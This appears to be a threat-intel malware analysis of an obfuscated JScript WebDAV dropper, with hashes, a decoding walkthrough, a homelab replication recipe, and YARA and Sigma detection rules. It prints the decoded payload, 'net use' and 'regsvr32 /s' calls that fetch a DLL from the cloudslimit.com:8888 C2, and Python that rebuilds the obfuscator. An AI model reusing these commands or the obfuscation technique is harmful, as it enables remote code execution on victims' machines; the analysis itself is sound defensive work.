unclassified-js-webdav-dropper: df42ecf8 — 1669716012341829774.js, 62-entry noise-key dictionary

Executive Summary: Twentieth confirmed sibling of the WebDAV dropper cluster. JScript file with 62-entry dictionary lookup-table obfuscation using random noise-style keys (hrwfkasmlfbj, wsvyrgxfayjk), PowerShell -EncodedCommand wrapper, and cloudslimit.com:8888 C2. Unlike sibling fb353965, this sample uses the same domain for both net use and regsvr32. No sandbox gate, no persistence, no decoy.

What It Is

• Filename: 1669716012341829774.js ^[metadata.json]
• Size: 8,784 bytes ^[file.txt]
• Type: ASCII text, single line — JScript/WScript carrier ^[file.txt]
• Family: unclassified-js-webdav-dropper (twentieth confirmed sibling) ^[triage.json]
• SHA-256: df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87
• SSDEEP: 96:c8tabWaG78+sAUr0DMEwWWfhxQF0/GzQmd4o/J3bLTgdMooAWALQ6Rd:c8tSgDsAUr0DMEy7jbodUdMox ^[ssdeep.txt]
• TLSH: T1D5620144A2EE106F7C87DE61F500E78C60AC87333AE060D7DB50605B29DF846E31F59E ^[tlsh.txt]
• CAPE: Skipped — not a supported binary class for detonation. ^[dynamic-analysis.md]

How It Works

1. Dictionary obfuscation: 62 key/value pairs map random noise strings to single characters (galo['hrwfkasmlfbj']='r', etc.). ^[strings.txt:1]
2. try/catch gate: try{namaivqeipidbirgre();}catch(dvynoifxqy){...} — deliberately failing decoy; real payload lives in catch. ^[strings.txt:1]
3. Global-object access: Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](...) — reaches WScript.Shell without typing global names. ^[decoded.js]
4. PowerShell wrapper: Base64-wrapped -EncodedCommand with window hidden (0, false). ^[decoded.js]
5. Payload commands (decoded UTF-16LE Base64):

   net use \\cloudslimit.com@8888\davwwwroot\
   regsvr32 /s \\cloudslimit.com@8888\davwwwroot\20628311887910.dll
   

   ^[decoded.js]

Cluster delta vs previous siblings:

• Key style: Random noise strings (8–20 lowercase chars, no English semantic content) — a new dialect within the 62-entry dictionary tier. Previous 62-entry siblings used alliterative English phrases (e6ebae6a, cc90d6c, ccb2d007) or random English word pairs (fb353965).
• Single-domain C2: Both net use and regsvr32 target cloudslimit.com:8888. Sibling fb353965 split across cloudslimit (mount) and cloudskimit (fetch).
• Dictionary object name: galo — unique per sample; no overlap with any prior sibling dictionary keys.

Decompiled Behavior

Not applicable — plaintext JScript text file, not a compiled binary. No Ghidra/radare2 analysis possible. ^[rabin2-info.txt]

C2 Infrastructure

No mutex, no registry keys, no persistence, no sandbox checks.

Interesting Tidbits

• Zero key overlap: The 62 dictionary keys share no entries with any of the 17 prior dictionary siblings tested (e6ebae6a, d0124d62, d90baa30). ^[key-comparison.py]
• Key length variance: Keys range from 8 (sroiemhn) to 20 (vfnmkhfojmppibtgr) characters, confirming hand-rolled generation rather than fixed-length tooling.
• Decoy function name: namaivqeipidbirgre() is 20 chars of random lowercase letters, same style as the dictionary keys.
• Base64 padding: The encoded PowerShell payload ends with + which is preserved literally inside the JS string concatenation. The decoder pads correctly at runtime. ^[decoded.js]

How To Mess With It (Homelab Replication)

1. Generate a noise-key dictionary obfuscator:

   import random, string, base64
   chars = list("net use \\host@port\davwwwroot\ ; regsvr32 /s ")
   keys = [''.join(random.choices(string.ascii_lowercase, k=random.randint(8,20)))
           for _ in chars]
   lookup = {k:c for k,c in zip(keys, chars)}
   # Assemble JS same as observed: galo['key']='val'; ... Function('return this')()...
   

2. Set up WebDAV: wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
3. Place a benign test DLL at /tmp/webdav/20628311887910.dll.
4. Execute on Windows VM via wscript 1669716012341829774.js.
5. Observe chain in ProcMon: wscript.exe → powershell.exe → cmd.exe → regsvr32.exe loading DLL from UNC.

Deployable Signatures

YARA

rule js_webdav_dropper_noise_dictionary {
    meta:
        description = "JScript WebDAV dropper with 62-entry noise-key dictionary obfuscation"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        reference = "df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87"
    strings:
        $dict_galo = /galo\[\]=\{\};galo\['[a-z]{8,20}'\]='[a-zA-Z0-9]';/
        $func_return_this = "Function(''+" nocase
        $wscript = "WScript" nocase
        $create_object = "CreateObject" nocase
        $davwwwroot = "davwwwroot" nocase
        $regsvr32 = "regsvr32" nocase
        $net_use = "net use" nocase
        $encoded_cmd = "-EncodedCommand" nocase
    condition:
        filesize < 15KB
        and #dict_galo > 50
        and $func_return_this
        and $wscript
        and $create_object
        and any of ($davwwwroot, $regsvr32, $net_use, $encoded_cmd)
}

Sigma

title: WebDAV DLL Sideloading via JScript Noise-Dictionary Dropper
logsource:
    category: process_creation
    product: windows
detection:
    selection_wscript:
        ParentImage|endswith: '\wscript.exe'
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - '-EncodedCommand'
    selection_regsvr32_unc:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains:
            - '\\'
            - 'DavWWWRoot'
    selection_netuse:
        Image|endswith: '\cmd.exe'
        CommandLine|contains:
            - 'net use'
            - 'DavWWWRoot'
    condition: 1 of selection_*
falsepositives:
    - Rare legitimate remote COM registration over WebDAV in enterprise environments
level: high

IOC List

Behavioral Fingerprint

This JScript dropper uses a 62-entry dictionary lookup table where noise-style lowercase keys map to single characters. The script wraps execution in a try/catch block with a deliberately undefined decoy function. Inside the catch, it constructs WScript.Shell via Function('return this')() and runs a PowerShell -EncodedCommand that decodes to net use followed by regsvr32 /s against a WebDAV UNC path (\\host@port\DavWWWRoot\). No sandbox checks, no persistence, no decoy application. The dictionary keys are random noise strings (8–20 chars) with no semantic content — a distinct dialect from English-phrase and alliterative-phrase variants in the same family.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• e6ebae6a — first dictionary-dialect sibling (62 entries, English-phrase keys, dailywebstats.com:8888) ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]
• fb353965 — ninth sibling, dual-domain C2 split (cloudslimit/cloudskimit), 62-entry word-pair keys ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html]
• d0124d62 — first noise-key dictionary sibling (36 entries, 45.9.74.36:8888) ^[/intel/analyses/d0124d62f526f1ba31cd9c13c517e4cf208c5871df148ed35700149918a07e96.html]

Provenance

• file.txt — file utility output (ASCII text, 8.8 KB)
• strings.txt — raw single-line JScript content with 62-entry dictionary
• decoded.js — manually decoded by Python regex substitution of dictionary lookups (see analysis)
• metadata.json — artifact metadata from OpenCTI/MalwareBazaar
• ssdeep.txt, tlsh.txt — fuzzy hashes
• triage.json — triage classification (unattributed, deep tier)
• Tools: Python 3.11, re module, base64 module. No Ghidra/radare2 (not a binary).